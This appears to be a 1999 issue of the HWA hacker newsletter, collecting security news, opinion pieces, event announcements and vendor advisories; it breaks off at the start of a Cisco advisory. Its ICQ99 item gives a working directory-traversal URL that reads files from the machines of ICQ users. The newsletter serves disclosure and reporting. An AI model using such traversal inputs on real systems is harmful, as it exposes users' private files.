own blood that stains my hands. i see tears in another's eyes, and
find it is my own wetting my fingertips.
millions of names; no history, no time, no emotion. searching for
knowledge in disguise as power. searching for god in disguise as a
friend. searching for the past in disguise as the future. we are all
the same in our own right.
grey clouds swirl in the blackness as i rub my eyes. i open them to
the familiar sight of black text. each byte, each character, each
glimpse into the world brings me that much closer to what i seek. to
what we all seek in this web of masks, identity.
phiregod
liquidphire@hotmail.com
forgive me for any and all errors.
_______________________________________________________________
Get Free Email and Do More On The Web. Visit http://www.msn.com
================================================================
@HWA
02.0 From the editor.
~~~~~~~~~~~~~~~~
#include
#include
#include
main()
{
printf ("Read commented source!\n\n");
/*
*Well this is issue #14
*
* "have at it"
*
*
* - Ed
*
*
*/
printf ("EoF.\n");
}
Congrats, thanks, articles, news submissions and kudos to us at the
main address: hwa@press.usmc.net complaints and all nastygrams and
mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to
127.0.0.1, private mail to cruciphux@dok.org
danke.
C*:.
@HWA
03.0 Holes Found in Multiple Anonymiser Packages
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Via HNN http://www.hackernews.com/
contributed to HNN by Seraphic Artifex
An article posted to alt.comp.virus last Sunday claims that most of the
Web Anonymiser programs that are currently available have serious security
flaws and may not really be protecting your privacy as claimed. The post
covers four of the most popular internet anonymising services Anonymizer,
Bell Labs, Naval Research Laboratory, and Aixs. The post claims that these
methods of protecting your privacy have two inherent flaws. One is using
JavaScript to pull IP addresses, the second is to redirect the browser to
another web page and thereby removing the anonymising features by bypassing
the proxy.
http://www.anonymizer.com
http://www.bell-labs.com/project/lpwa
http://www.onion-router.net
http://aixs.net/aixs/
Security Holes in Web Anonymizing Services - Original Post
From: "Richard M. Smith"
Newsgroups: alt.comp.virus
Subject: Security holes in Web anonymizing services
Date: Sun, 11 Apr 1999 19:12:20 -0400
Hello,
I found very serious security holes in all of the major anonymous Web
surfing services (Anonymizer, Aixs, LPWA, etc.). These security holes
allow a Web site to obtain information about users that the anonymizing
services are suppose to be hiding. This message provides complete
details of the problem and offers a simple work-around for users until
the security holes are fixed.
The April 8th issue of the New York Times has an article by Peter H.
Lewis in the Circuits section that describes various types of services
that allow people to anonymously surf the Web. The article is entitled
"Internet Hide and Seek" and is available at the NY Times Web site:
http://www.nytimes.com/library/tech/99/04/circuits/articles/08pete.html
(Note, this article can only viewed if you have a free NY Times Web
account.)
The three services described in the article are:
Anonymizer (http://www.anonymizer.com)
Bell Labs (http://www.bell-labs.com/project/lpwa)
Naval Research Laboratory (http://www.onion-router.net)
In addition, I found a pointer to fourth service in a security
newsgroup:
Aixs (http://aixs.net/aixs/)
The best known of these services is the Anonymizer at www.anonymizer.com.
However all four services basically work in the same manner. They are
intended to hide information from a Web site when visited by a user. The
services prevent the Web site from seeing the IP address, host computer
name, and cookies of a user. All the services act as proxies fetching
pages from Web sites instead of users going directly to Web sites. The
services make the promise that they don't pass private information along
to Web sites. They also do no logging of Web sites that have been
visited.
After reading the article, I was curious to find out how well each of
these services worked. In particular, I wanted to know if it would be
possible for a Web site to defeat any of these systems. Unfortunately,
with less than an hour's worth of work, I was able to get all four
systems to fail when using Netscape 4.5.
The most alarming failures occurred with the Anonymizer and Aixs systems.
With the same small HTML page I was able to quietly turn off the
anonymzing feature in both services. Once this page runs, it quickly
redirects to a regular Web page of the Web site. Because the browser is
no longer in anonymous mode, IP addresses and cookies are again sent from
the user's browser to all Web servers. This security hole exists because
both services fail to properly strip out embedded JavaScript code in all
cases from HTML pages.
With the Bell Labs and NRL systems I found a different failure. With a
simple JavaScript expression I was able to query the IP address and host
name of the browser computer. The query was done by calling the Java
InetAddress class using the LiveConnect feature of Netscape Navigator.
Once JavaScript has this information, it can easily be transmitted it
back to a Web server as part of a URL.
A demo on the use of Java InetAddress class to fetch the browser IP
address and host name can be found at:
http://www.tiac.net/users/smiths/js/livecon/index.htm
If you are a user of any these services, I highly recommend that you turn
off JavaScript, Java, and ActiveX controls in your browser before surfing
the Web. This simple precaution will prevent any leaks of your IP address
or cookies. I will be notifying all 4 vendors about these security holes
and hopefully this same recommendation will be given to all users.
If you have any questions or comments, please send them via Email.
Richard M. Smith
smiths@tiac.net
---
HNN contacted Zero-Knowledge Systems, the only
company _not_ mentioned in the above advisory, and
they had this to say...
Re: JavaScript Querying for IP
Tweaking JavaScript to pull IP addresses is no different
than creating a virus. Anything in the application layer
requires much more effort to scan for malicious content.
Freedom scans all content, ensuring that a user's IP
address cannot leave the TCPIP stack unanonymized,
whether JavaScript requests it or not. However, like a
virus, people can always design around systems so the
real challenge for Zero-Knowledge is to catch these
attempts and correct them.
Re: Turning Off the "Anonymizing" Feature
Redirecting a user to another web page and thus moving
the browser into a "non-anonymous" mode is not an
issue with Freedom. Working at the driver level,
Freedom is application independent and therefore does
not rely on running your browser through an
anonymizing proxy.
Zero-Knowledge Systems
http://www.zks.net/
Wired magazine comes up with an article on the
subject.
Wired
http://www.wired.com/news/news/technology/story/19091.html
Anonymous Web Surfing? Uh-Uh
by Chris Oakes
2:25 p.m. 13.Apr.99.PDT
People who think they're cruising the Web in a stealth vehicle may find that their
license plates are still showing.
"Anonymizer" services admit that their attempts to protect individual Web
identities aren't bulletproof, but say that browsing technologies should share the
blame.
Programmer Richard Smith, who has a history of poking holes in supposedly
secure software programs, tested four anonymizer Web services and came away
unimpressed. On Monday, Smith said that results revealed a variety of data leaks,
causing him to worry that users might browse with a false sense of security.
"I was surprised that companies who are in the computer security business have
systems that are so easy to break," he said. "Even more surprising is that four
vendors had a problem, not just one."
The leaks provide clues to a user's identification, such as a numerical
Internet, or IP, address.
"I found very serious security holes in all of the major anonymous Web surfing
services," Smith said. "These security holes allow a Web site to obtain
information about users that the anonymizing services are supposed to be hiding."
Representatives of the services acknowledge that security lapses occur,
but argue that the browsing software is as much to blame as they are. They're
quick to add that they patch holes when they can.
Smith tested the Anonymizer, Aixs, the Lucent Personalized Web Assistant, and a
US Navy-sponsored research project called the Onion Routing service.
Although the characteristics of each service vary, they primarily use
data-stripping and proxy-masking techniques to conceal key data that
browser software can leave behind.
The Anonymizer recently announced an anonymous forwarding service to help
safeguard the identity of those filing unofficial and uncensored email reports
from the fighting in Kosovo.
The main purpose of all four services, though, is to keep a user's identity safe
from the prying eyes of Web-site operators by preventing them from
obtaining an IP address, a host computer's name, or browser cookies that
tip off a return visit to a site.
To hide these details, most services act as a kind of Web waystation between
browsers and sites. The anonymizing services retrieve Web pages and deliver
them to users instead of users fetching them directly.
An operator at one service says that the weaknesses Smith points out are not
entirely the fault of the anonymizer. Flaws in the software must take some
blame, too.
Using a test HTML page containing simple JavaScript code -- which could be posted
on a site seeking to sniff out a user's identity -- Smith was able to quietly turn
off the anonymizing feature in the Anonymizer and Aixs systems.
No longer anonymous, the user's browser will resume the delivery of IP addresses
and cookies to a Web site. Smith says that's due to the services failing to
consistently filter embedded JavaScript code from a site's HTML code.
Anonymizer CEO Lance Cottrell said that the company is responding to Smith's
alert. But he said that to exploit the vulnerability, a site would have to be
actively seeking to do so.
"In any case, being bounced out of the Anonymizer would only show that the
person had been there, but would not allow correlation with any postings,"
Cottrell said, adding that no anonymizer system can promise perfectly sealed
identity.
"The systems we are working with are simply too flexible, and allow things to be
done in too many ways, for security to be perfect. We try to anticipate all the
loopholes we can, then act like lightning when a unforeseen hole is reported."
Attempts to reach representatives at the Aixs service were unsuccessful.
With the Lucent Personalized Web Assistant and Onion Routing service,
Smith found a different type of problem. "With a simple JavaScript expression, I
was able to query the IP address and host name of the browser computer."
Once JavaScript has this information, he said it can easily be transmitted it back
to a Web server as part of a URL. He said that the same tests run with Internet
Explorer 4.0 did not produce the same vulnerabilities.
Jeremey Barrett, an engineer for the Onion Routing System, said that the
problem lies with the browsers, not with anonymizer services like his. Browsers, he
said, will surrender a user's IP address to sites that request it with JavaScript or
ActiveX code.
Browser manufacturers have released patches periodically as issues surrounding
the acknowledged risks of executing JavaScript and ActiveX code have surfaced.
"The only way to prevent this, regardless of the anonymizing system used, is to
filter out the JavaScript code using some form of proxy," said Barrett.
He also said that Onion Routing is not simply an anonymizer meant to keep an
individual site from knowing who's visiting. "Rather, it's meant to prevent anyone
else from knowing that you are talking to a particular Web server."
"For example, you might log into your bank's Web site over the Onion Routing
system. You would very definitely want the bank to know who you were, but you
might not want anyone to know you were talking to your bank."
For airtight Web browsing, any feature beyond basic HTML would have to be
turned off in the browser; that's the nature of the approach taken by the
Anonymizer as it strips out such code.
Smith would like to see any anonymizer service provide both the proxy and the
standard anonymizing service that strips data from a user's browsing trail.
Meanwhile, anonymizing services should warn their users and fix the bugs.
"Netscape should fix how it handles Java so that it doesn't leak people's IP
address. This bug does not exist in IE4," Smith said. He reported the problem to
Netscape last September, but said that the company still hasn't provided a fix.
@HWA
04.0 Some musings on the Melissa 'virus' by WHiTe VaMPiRe
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Melissa "Virus"
First of all, Melissa is not really a virus, regardless of what the media
portrays it as. It should be considered a worm.
What is the deal with mainstream media hyping all these so-called "viruses"?
Happy99.exe, and Melissa, are some of the more recent ones. The only reason
these "viruses" propagate is due to a person's ignorance. Do not run programs
that you are unaware of what they are. That simple.
Then this random Joe Blow is out on $100,000 dollar bond due to writing some
macro in Word. At the most he did was spam, and maybe commit some sort of fraud
with America Online. That evil person. Lets jail him for 40 years! (If I remember
correctly that is the maximum sentance for his "crime".) When rapists are getting
out in less than 20. That makes total sense.
I typically ignore things such as this. I knew very little about Happy99.exe
until I had a relative call up requesting my assistance, once I looked into it I
was wondering what the hell was going on. Things like this should not even be
circulating in the first place.
I must say I feel rather sorry for the person who wrote Melissa. His actions may
have not been in the best taste, but the harsh way
he is being delt with is a tad over the line.
I have yet to figure out why virii such as CIH, et cetera, are overlooked yet
Happy99.exe gets more news coverage than OJ Simpson. Maybe some indirect media bias,
or a "real" virus is not as accessible to the common computer user. I am not one to
claim to know.
Regards,
-WHiTe VaMPiRe\Rem-
@HWA
05.0 So much for your radio hobby
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
April 9, 1999, 13:47
Author: WHiTe VaMPiRe
As reported by HNN...
FCC has made some Amendments to Parts 2 and 15 of the "Commissions Rules to
Further Ensure That Scanning Receivers Do Not Receive Cellular Radio Signals",
"Specifically, we adopt rules that require scanning receivers to include
adequate filtering so that they do not pick up Cellular Service transmissions
even when tuned to frequencies outside those allocated to the Cellular Service."
This could potentially ban the entire radio spectrum depending on interpretation.
Starting June 1, 1999 we will see this label on every new scanner:
WARNING: MODIFICATION OF THIS DEVICE TO RECEIVE CELLULAR RADIOTELEPHONE SERVICE
SIGNALS IS PROHIBITED UNDER FCC RULES AND FEDERAL LAW.
It will soon be illegal to import and manufacture scanners and frequency converter
kits that are cable of listening to the cell transmissions (this includes the
allotted frequencies AND cell images).
Manufacturers are required to design their scanners so that if they are modified
to receive cell transmissions they will be rendered inoperable.
Regardless of the date of manufacture, it will soon be against the law to modify a
scanner to listen to cell transmissions. Any modification of a scanner that changes
it's operating characteristics voids the equipment certification.
Interesting how this has become a problem of the very poor scanner and radio industry
as opposed to forcing the very very rich cellular telephone industry to create more
secure phones. These new laws will not prevent people (or the government) from
intercepting your personal cellular communications as more secure phones might. These
laws will only make criminals out of thousands of otherwise law abiding citizens.
HNN also has a new topic in their Buffer Overflow section written by Brian Oblibion
regarding "why this is a bad thing".
(Most of this was composed by HNN. We at Project Gamma found their article to be
straight to the point, so why rehash good news. Please visit HNN, excellent site.)
Check out Brian Oblivion's article on this topic in Buffer Overflow on HNN
http://www.hackernews.com/orig/scanner.html
link
@HWA
06.0 ICQ99 Vulnerabilities still with us
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Via Project Gamma www.projectgamma.com
ICQ Vulnerabilities
April 8, 1999, 22:11
Author: WHiTe VaMPiRe
Ever wonder what that little house was next a person's nick on your ICQ
list? Well, that means that user is running ICQ's pseudo "httpd". This
was a "feature" included with ICQ 99a.
This "feature" has several vulnerabilities. The first being, if you connect
to the httpd (port 80) and send an invalid command it causes ICQ to gpf
(General Protection Fault). An example would be "quit".
The second vulnerabilty being: When you are connected to ICQ and have the
httpd enabled every request to http://members.icq.com/ will be redirected to
your computer. Thus, exposing your IP. Nevertheless only files in
"/ICQ99/Hompage//personal" should be accessible. But a visitor can "climb up"
the directory tree with dots, IE. http:///../bleah.html would present him with
the file "bleah.html" in the "ICQ99" directory. With enough "dots" the person
could get all the way to your root directory. But there is one barrier: the
ICQ-pseudo-httpd only delivers files with the ".html" extension. To "fool" it
you add ".html/" to the URL and the httpd sends every file you request. For
example, "http:///../../../../../../config.sys" would not work,
but "http:///.html/../../../../../../config.sys" would.
This has been vulnerable in both ICQ 99a Build 1700 and 1547.
Bugtraq contributed to this report.
@HWA
07.0 "Hacking to become a crime"
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: William Knowles
http://www.infotech.co.nz/current/nxhack.html
April 12, 1999
Hacking to become a crime
By AMANDA WELLS
THE GOVERNMENT is to take long-awaited steps towards plugging electronic
crime loopholes by proposing four new offences for the Crimes Act.
It will become a criminal act to access a computer system with a dishonest
purpose, to attempt to access a computer system for a dishonest purpose,
to damage or interfere with a computer system, and to have unauthorised
access to a computer.
The proposed amendments would make hacking, or entering a system without
permission, a crime, which it currently is not.
Justice Minister Tony Ryall says that the amendments will be included in a
Bill that addresses broader property law issues, to be introduced this
Parliamentary session.
Mr Ryall says the amendments target computer hackers and virus spreaders.
"The Government intends to introduce a number of amendments to protect
computer owners from unlawful access to their systems and dishonest use of
the data and information stored on their computer systems."
The Crimes Act was drafted in 1961 and predates crimes made possible by
current computer technology.
The minister has been considering a draft report covering hacking issues,
and a 1998 Law Commission report, for several months.
Hacking incidents involving Internet service providers the Internet Group
(Ihug) and Telecom's Xtra late last year underscored the lack of
legislation to deal with computer criminals.
The man accused of hacking into Xtra, Andrew Garrett, last week pleaded
not guilty to seven charges brought under current legislation. These
charges include obtaining credit from Telecom without revealing that he
was bankrupt, and using software documents for his own gain.
The Law Commission's report was prompted by a Court of Appeal case that
allowed a group of men to appeal convictions for dishonesty - because
using a document to dishonestly make a bank credit an account is not a
crime under current legislation.
According to the minister, "recent Court of Appeal cases have highlighted
the need to update the criminal law to take account of new technology and
computer-related offending".
On releasing the report in December, the Law Commission called for urgent
action to plug the gap in criminal law.
The commission has since set up an advisory committee to produce a
discussion paper on computer misuse, which is scheduled for release at the
end of this month.
This report is due to contain recommendations for legislative reform that
may be more wide-ranging than the minister's proposals.
The Internet Society of New Zealand has called for action on electronic
crime legislation, and lawyers who specialise in the information
technology area also say new legislation is needed if computer criminals
are to be successfully prosecuted.
After last year's hacking incidents, Ihug initiated the formation of a
lobby group to push for law reform.
The Network of Internet Related Organisations (Niro) now has 50 member
groups and a Web site due to go online this week.
Members include Web designers and Internet companies, with most of the
major Internet providers involved.
Lawyer Chris Patterson represents Niro, and says the Web site will
function as a discussion forum, where laws will be proposed and discussed.
He says a special piece of electronic crime law is needed, rather than any
amendments to existing law.
"We need the equivalent to the American Computer Abuse and Fraud Act. We
need to be able to say that there are certain things that are criminal
acts, which the Crimes Act just won't have the capacity to deal with."
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
08.0 Client Security: You've got armored trucks,
but what about the pick pockets? - Chris Wysopal, The l0pht
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: Robert Hettinga
The Digital Commerce Society of Boston
Presents
Chris Wysopal
Hacker,
L0pht Heavy Industries
Client Security: You've got armored trucks,
but what about the pick pockets?
Tuesday, April 6th, 1999
12 - 2 PM
The Downtown Harvard Club of Boston
One Federal Street, Boston, MA
Everyone in ecommerce these days is peddling better vaults for stores and
stronger armored cars to deliver payments and merchandise. Does this
really matter in an Internet world where you can pick the pocket of a
consumer? Or more likely, to automate the pocket picking of a large number
of consumers.
Current authentication and purchasing systems rely on consumers using off
the shelf operating systems such as windows 95/98. This is the operating
system which Microsoft has admitted to having no security model. Current
ecommerce client security is layering strong encryption on this bed of
jello.
What are some of the attacks that are being used? What technology can be
used to overcome this problem?
Chris Wysopal has a computer engineering degree from Rensselaer
Polytechnic Institute, but almost all of what he knows about computer
security he has learned from his exploration of computers as a hacker for
the past 15 years. As an associate of L0pht Heavy Industries he has
worked to expose the "snake oil" in the computer security industry and
tried to make the general public aware of the just how fragile the
internet and security products are. Last May he testified as a computer
security expert before the Senate Governmental Affairs Committe and has
appeared on several TV documentaries and news programs, including the BBC,
CBC, ZDTV, FOX News, and The Jim Lehrer News Hour.
This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, May 4, 1999, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$32.50. This price includes lunch, room rental, various A/V hardware, and
the speakers' lunch. The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women. Fair warning: since we
purchase these luncheons in advance, we will be unable to refund the price
of your lunch if the Club finds you in violation of the dress code.
We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 1st, or you won't be on the list for lunch. Checks payable
to anyone else but The Harvard Club of Boston will have to be sent back.
Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $32.50. Please include your e-mail
address, so that we can send you a confirmation
If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something out.
Upcoming speakers for DCSB are:
June Ron Rivest MIT Deep Crack = MicroMint?
July TBA
We are actively searching for future speakers. If you are in Boston
on the first Tuesday of the month, and you are a principal in digital
commerce, and would like to make a presentation to the Society, please
send e-mail to the DCSB Program Commmittee, care of Robert Hettinga,
.
For more information about the Digital Commerce Society of Boston,
send "info dcsb" in the body of a message to . If you want to subscribe to the DCSB e-mail
list, send "subscribe dcsb" in the body of a message to .
We look forward to seeing you there!
Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston
-----------------
Robert A. Hettinga
Philodox Financial Technology Evangelism
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
09.0 Strong privacy software for Linux makes worldwide debut
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: Sandy Harris
Originally From: Henry Spencer
Strong Internet Privacy Software Free for Linux Users Worldwide
Toronto, ON, April 14, 1999 -
The Linux FreeS/WAN project today released free software to protect the
privacy of Internet communications using strong encryption codes.
FreeS/WAN automatically encrypts data as it crosses the Internet, to
prevent unauthorized people from receiving or modifying it. One ordinary
PC per site runs this free software under Linux to become a secure gateway
in a Virtual Private Network, without having to modify users' operating
systems or application software. The project built and released the
software outside the United States, avoiding US government regulations
which prohibit good privacy protection. FreeS/WAN version 1.0 is
available immediately for downloading at http://www.xs4all.nl/~freeswan/.
"Today's FreeS/WAN release allows network administrators to build
excellent secure gateways out of old PCs at no cost, or using a cheap new
PC," said John Gilmore, the entrepreneur who instigated the project in
1996. "They can build operational experience with strong network
encryption and protect their users' most important communications
worldwide."
"The software was written outside the United States, and we do not accept
contributions from US citizens or residents, so that it can be freely
published for use in every country," said Henry Spencer, who built the
release in Toronto, Canada. "Similar products based in the US require
hard-to-get government export licenses before they can be provided to
non-US users, and can never be simply published on a Web site. Our
product is freely available worldwide for immediate downloading, at no
cost."
FreeS/WAN provides privacy against both quiet eavesdropping (such as
"packet sniffing") and active attempts to compromise communications (such
as impersonating participating computers). Secure "tunnels" carry
information safely across the Internet between locations such as a
company's main office, distant sales offices, and roaming laptops. This
protects the privacy and integrity of all information sent among those
locations, including sensitive intra-company email, financial transactions
such as mergers and acquisitions, business negotiations, personal medical
records, privileged correspondence with lawyers, and information about
crimes or civil rights violations. The software will be particularly
useful to frequent wiretapping targets such as private companies competing
with government-owned companies, civil rights groups and lawyers,
opposition political parties, and dissidents.
FreeS/WAN provides privacy for Internet packets using the proposed
standard Internet Protocol Security (IPSEC) protocols. FreeS/WAN
negotiates strong keys using Diffie-Hellman key agreement with 1024-bit
keys, and encrypts each packet with 168-bit Triple-DES (3DES). A modern
$500 PC can set up a tunnel in less than a second, and can encrypt 6
megabits of packets per second, easily handling the whole available
bandwidth at the vast majority of Internet sites. In preliminary testing,
FreeS/WAN interoperated with 3DES IPSEC products from OpenBSD, PGP, SSH,
Cisco, Raptor, and Xedia. Since FreeS/WAN is distributed as source code,
its innards are open to review by outside experts and sophisticated users,
reducing the chance of undetected bugs or hidden security compromises.
The software has been in development for several years. It has been
funded by several philanthropists interested in increased privacy on the
Internet, including John Gilmore, co-founder of the Electronic Frontier
Foundation, a leading online civil rights group.
Press contacts:
Hugh Daniel, +1 408 353 8124, hugh@toad.com
Henry Spencer, +1 416 690 6561, henry@spsystems.net
* FreeS/WAN derives its name from S/WAN, which is a trademark of RSA Data
Security, Inc; used by permission.
-30-
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
10.0 Security Search engine back online
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: Security Search
As many of you are aware, on Friday April 9 we were forced to take
Security Search offline. This was due to the fact that our Internet
Provider could not cope with Security Search's high volume of web site
traffic.
We have now moved to a new ISP and are back online. We thank everyone for
their kind words, support and patience during the time we were offline.
We are determined to return the favour by providing you with the most
comprehensive source of IT security information and resources on the
Internet.
Security Search will continue to grow and offer new services and we are
eager to receive your ideas on how to make it better.
We hope that our "teething" problems are over and invite you to return to
Security Search. Visit http://www.securitysearch.net
Security Search
The Internet Security Search Engine
http://www.securitysearch.net/
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
11.0 Smart Card Forum privacy symposium
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: "Jay D. Dyson"
Originally From: "Deborah Volk"
The Smart Card Forum Announces Symposium for
In-Depth Examination of Internet Security, Privacy
"Enabling Privacy in a Virtual World" Features Experts in
Industry, Government, Media and Consumer Advocacy
WASHINGTON, D.C., April 6, 1999 -- The Smart Card Forum (SCF), a
multi-industry organization working to accelerate the widespread acceptance
of smart card technology, today announced an upcoming in-depth symposium
that will focus on the critical issues surrounding privacy and security in
the Internet era. The symposium, entitled "Enabling Privacy in a Virtual
World," is open to the public and will be held on May 20, 1999 at the
Monarch Hotel in Washington, D.C.
The symposium will feature presentations and debate from a range of
Internet experts - including representatives from major corporations
involved in Internet commerce, leading developers of security technologies
and electronic commerce products, as well as key government officials
considering legislative, regulatory and policy issues. Educators,
journalists, and consumer spokespeople concerned with issues of individual
privacy in an increasingly virtual world will also add their perspective to
the mix.
"As companies and consumers converge on the Internet as the medium of
choice for conducting business, the need to effectively and seamlessly
address issues of security and privacy becomes increasingly urgent," said
Donna Farmer, president and CEO of The Smart Card Forum. "In presenting
'Enabling Privacy in a Virtual World,' the Smart Card Forum continues its
tradition of introducing and illuminating the leading issues of the day,
and, as such, we expect media attention for the symposium to be strong."
Some of the speakers that will participate in The Smart Card Forum's
symposium include Representative Vern Ehlers; Marc Rotenberg of Electronic
Privacy Information Center (EPIC); Dan Geer, Senior Strategist of CertCo;
Jeff Kutler, editor of "American Banker;" Thomas A. Kalil, senior director,
National Economic Council; Steve Ellis, vice president of Business
Development of Intel; Steve Crocker, founder of CyberCash; Stewart Baker,
partner of Steptoe & Johnson; Jerry Ashworth, editor of "Report on Smart
Cards," Taher Elgamal of Kroll-O'Gara; and author Simson Garfinkel.
The fee for non-members who register by April 15 is $325. After this
date,
the fee is $395 for non-members. Attendees may register online at
www.smartcardforum.org or by calling (202) 530-5306. Member registration
information and pricing structure is available on the Web site.
Registration and continental breakfast will start at 7:30 a.m. on the day
of the event and the program will begin at 8:00 a.m. and end with a
reception for attendees from 5:30 p.m. to 7:30 p.m.
About The Smart Card Forum
The Smart Card Forum is a non-profit, multi-industry organization of
nearly
200 members working to accelerate the widespread acceptance of multiple
application smart card technology by bringing together, in an open forum,
leading users and technologists from both the public and private sectors.
The Smart Card Forum is the leading organization for education and awareness
of topical issues associated with the use and adoption of smart card
systems. For more information about The Smart Card Forum, log on to the
organization's Web site at www.smartcardforum.org.
(30)
Thank you for your time,
Sincerely,
Deborah Volk
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
12.0 HP advisory Security Vulnerability in MPEi/X debug
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Tue, 13 Apr 1999 04:37:00 -0700 (PDT)
Subject: Security Bulletins Digest
From: support_feedback@us-support.external.hp.com (HP Electronic Support Center )
To: security_info@us-support.external.hp.com
Reply-To: support_feedback@us-support.external.hp.com
Errors-To: support_errors@us-support.external.hp.com
HP Support Information Digests
===============================================================================
o HP Electronic Support Center World Wide Web Service
---------------------------------------------------
If you subscribed through the HP Electronic Support Center and would
like to be REMOVED from this mailing list, access the
HP Electronic Support Center on the World Wide Web at:
http://us-support.external.hp.com
Login using your HP Electronic Support Center User ID and Password.
Then select Support Information Digests. You may then unsubscribe from the
appropriate digest.
===============================================================================
Digest Name: Daily Security Bulletins Digest
Created: Tue Apr 13 3:00:02 PDT 1999
Table of Contents:
Document ID Title
--------------- -----------
HPSBMP9904-006 Security Vulnerability in MPEi/X debug
The documents are listed below.
-------------------------------------------------------------------------------
Document ID: HPSBMP9904-006
Date Loaded: 19990412
Title: Security Vulnerability in MPEi/X debug
-------------------------------------------------------------------------
HEWLETT-PACKARD COMPANY SECURITY BULLETIN: (MPE/iX) #006, 13 April 1999
-------------------------------------------------------------------------
The information in the following Security Bulletin should be acted upon
as soon as possible. Hewlett-Packard Company will not be liable for any
consequences to any customer resulting from customer's failure to fully
implement instructions in this Security Bulletin as soon as possible.
-------------------------------------------------------------------------
PROBLEM : Debug improperly handles commands.
PLATFORM: All HP3000 systems running the MPE/iX 5.0 and MPE/iX 5.5
release of the Operating System only.
DAMAGE : Users can gain increased privileges.
SOLUTION: Apply the appropriate patches to correct the problem:
For MPE/iX 5.0: MPEKXM1A
For MPE/iX 5.5: MPEKXM1B
---------------------------------------------------------------------
I.
A. Background
Under certain conditions, improper use of the debug utility
in MPE/iX Operating system can result in users gaining increased
privileges.
B. Fixing the problem
Obtain the patch from the HP Electronic Support Center (ESC)
by following the instructions below. Installing the following
patch will completely close this vulnerability.
For all HP3000 platforms running MPE/iX 5.0: MPEKXM1A
For all HP3000 platforms running MPE/iX 5.5: MPEKXM1B
NOTE: The problem does not exist with the release MPE/iX 6.0.
C. To subscribe to automatically receive future NEW HP Security
Bulletins or access the HP Electronic Support Center, use your
browser to get to our ESC web page at:
http://us-support.external.hp.com (for non-European locations),
or http://europe-support.external.hp.com (for Europe)
Login with your user ID and password (or register for one).
Remember to save the User ID/password assigned to you.
Once you are in the Main Menu:
To -subscribe- to future HP Security Bulletins,
click on "Support Information Digests".
To -review Security bulletins already released-,
click on the "Search Technical Knowledge Database."
To -retrieve patches-, click on "Individual Patches" and select
appropriate release and locate with the patch identifier (ID).
To -browse the HP Security Bulletin Archive-, select the link at
the bottom of the page once in the "Support Information Digests".
To -view the Security Patch Matrix-, (updated daily) which
categorizes security patches by platform/OS release, and by
bulletin topic, go to the archive (above) and follow the links.
The security patch matrix is also available via anonymous ftp:
us-ffs.external.hp.com or ~ftp/export/patches/hp-ux_patch_matrix
D. To report new security vulnerabilities, send email to
security-alert@hp.com
Please encrypt any exploit information using the security-alert
PGP key, available from your local key server, or by sending a
message with a -subject- (not body) of 'get key' (no quotes) to
security-alert@hp.com.
Permission is granted for copying and circulating this Bulletin to
Hewlett-Packard (HP) customers (or the Internet community) for the
purpose of alerting them to problems, if and only if, the Bulletin
is not edited or changed in any way, is attributed to HP, and
provided such reproduction and/or distribution is performed for
non-commercial purposes.
Any other use of this information is prohibited. HP is not liable
for any misuse of this information by any third party.
________________________________________________________________________
-----End of Document ID: HPSBMP9904-006--------------------------------------
----- End forwarded message -----
--
Patrick Oonk - http://patrick.mypage.org/ - patrick@pine.nl
Pine Internet B.V. Consultancy, installatie en beheer
Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/
-- Pine Security Digest - http://security.pine.nl/ (Dutch) ----
Excuse of the day: the butane lighter causes the pincushioning
@HWA
13.0 Cisco security advisory Input Access List Leakage with NAT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
Message-ID: <19990413145711.9043.QMAIL@SUSAN.CISCO.COM>
Date: Tue, 13 Apr 1999 14:57:11 -0000
Reply-To: psirt@cisco.com
Sender: Bugtraq List
From: psirt@cisco.com
Subject: Cisco security notice: Input Access List Leakage with NAT
X-To: cisco@spot.colorado.edu, cust-security-announce@cisco.com,
firewalls@greatcircle.com, first-info@first.org
To: BUGTRAQ@netspace.org
